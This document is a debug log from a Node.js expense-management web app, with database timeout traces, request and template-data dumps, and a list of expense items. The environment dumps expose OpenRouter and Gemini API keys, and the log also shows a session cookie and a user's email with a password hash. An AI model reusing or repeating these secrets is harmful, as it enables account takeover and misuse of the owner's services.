    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '44.218.6.122',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 00:42:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 00:42:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 00:56:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 00:56:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 01:14:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 01:14:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 01:55:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 01:55:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 03:16:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 03:16:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 03:21:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 03:21:16' as DATETIME)"
}
2025-12-20T03:29:57.849Z server-connect:router Serving templateView /
2025-12-20T03:29:57.850Z server-connect:app Executing action step identify
2025-12-20T03:29:57.850Z server-connect:app options: { provider: 'security' }
2025-12-20T03:29:57.850Z server-connect:auth No login cookie found
2025-12-20T03:29:57.850Z server-connect:output identity: false
2025-12-20T03:29:57.851Z server-connect:app Executing action step restrict
2025-12-20T03:29:57.851Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T03:29:57.851Z server-connect:output restrict: undefined
2025-12-20T03:29:58.158Z server-connect:router Serving templateView /login
2025-12-20T03:29:58.159Z server-connect:app Executing action step identify
2025-12-20T03:29:58.159Z server-connect:app options: { provider: 'security' }
2025-12-20T03:29:58.159Z server-connect:auth No login cookie found
2025-12-20T03:29:58.159Z server-connect:output identity: false
2025-12-20T03:29:58.159Z server-connect:router Render template layouts/authentication
2025-12-20T03:29:58.159Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    priority: 'u=0, i',
    'x-forwarded-for': '49.43.180.18',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:29:58.158Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.18',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '49.43.180.18',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-20T03:30:08.134Z server-connect:router Serving templateView /
2025-12-20T03:30:08.134Z server-connect:app Executing action step identify
2025-12-20T03:30:08.134Z server-connect:app options: { provider: 'security' }
2025-12-20T03:30:08.180Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-20T03:30:08.183Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-20T03:30:08.229Z server-connect:output identity: 1
2025-12-20T03:30:08.229Z server-connect:app Executing action step restrict
2025-12-20T03:30:08.229Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T03:30:08.229Z server-connect:output restrict: undefined
2025-12-20T03:30:08.229Z server-connect:app Executing action step restrict
2025-12-20T03:30:08.229Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T03:30:08.230Z server-connect:output restrict: undefined
2025-12-20T03:30:08.230Z server-connect:router Render template layouts/main
2025-12-20T03:30:08.230Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AdAcB8ogG1XV5TQXPBVhGQg%3D%3D.TBB4ILy26x25ShQNn994KY4eFPPXB1953TvNXgHJfLiRYkpr0A%2FcPTNQV97OQjpiMokmYmM7q3wnm8%2FtLQBjxmhkaiMx7JcnS4heavIw4%2B2YWiOmAkSjnE%2BbF0Um22EXXAKY%2FOaiNxSaE6Z35seOjkBhW%2BINGL7HCfC6v6BMxcI%3D.PT0k245B8RS2Ek7AjMtc6%2FqgC19uyNE3i9L%2FLdTO1YQ',
    'x-forwarded-for': '49.43.180.18',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:08.134Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.18',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AdAcB8ogG1XV5TQXPBVhGQg%3D%3D.TBB4ILy26x25ShQNn994KY4eFPPXB1953TvNXgHJfLiRYkpr0A%2FcPTNQV97OQjpiMokmYmM7q3wnm8%2FtLQBjxmhkaiMx7JcnS4heavIw4%2B2YWiOmAkSjnE%2BbF0Um22EXXAKY%2FOaiNxSaE6Z35seOjkBhW%2BINGL7HCfC6v6BMxcI%3D.PT0k245B8RS2Ek7AjMtc6%2FqgC19uyNE3i9L%2FLdTO1YQ',
    'HTTP_X_FORWARDED-FOR': '49.43.180.18',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-20T03:30:09.320Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-20T03:30:09.321Z server-connect:app Executing action step identify
2025-12-20T03:30:09.321Z server-connect:app options: { provider: 'security' }
2025-12-20T03:30:09.321Z server-connect:output identity: 1
2025-12-20T03:30:09.321Z server-connect:app Executing action step restrict
2025-12-20T03:30:09.321Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T03:30:09.322Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-20T03:30:09.322Z server-connect:output restrict: undefined
2025-12-20T03:30:09.322Z server-connect:app Executing action step select
2025-12-20T03:30:09.322Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-20T03:30:09.323Z server-connect:app Executing action step identify
2025-12-20T03:30:09.324Z server-connect:app options: { provider: 'security' }
2025-12-20T03:30:09.324Z server-connect:output identity: 1
2025-12-20T03:30:09.324Z server-connect:app Executing action step restrict
2025-12-20T03:30:09.324Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T03:30:09.324Z server-connect:output restrict: undefined
2025-12-20T03:30:09.324Z server-connect:app Executing action step single
2025-12-20T03:30:09.324Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-20T03:30:09.325Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-20T03:30:09.331Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
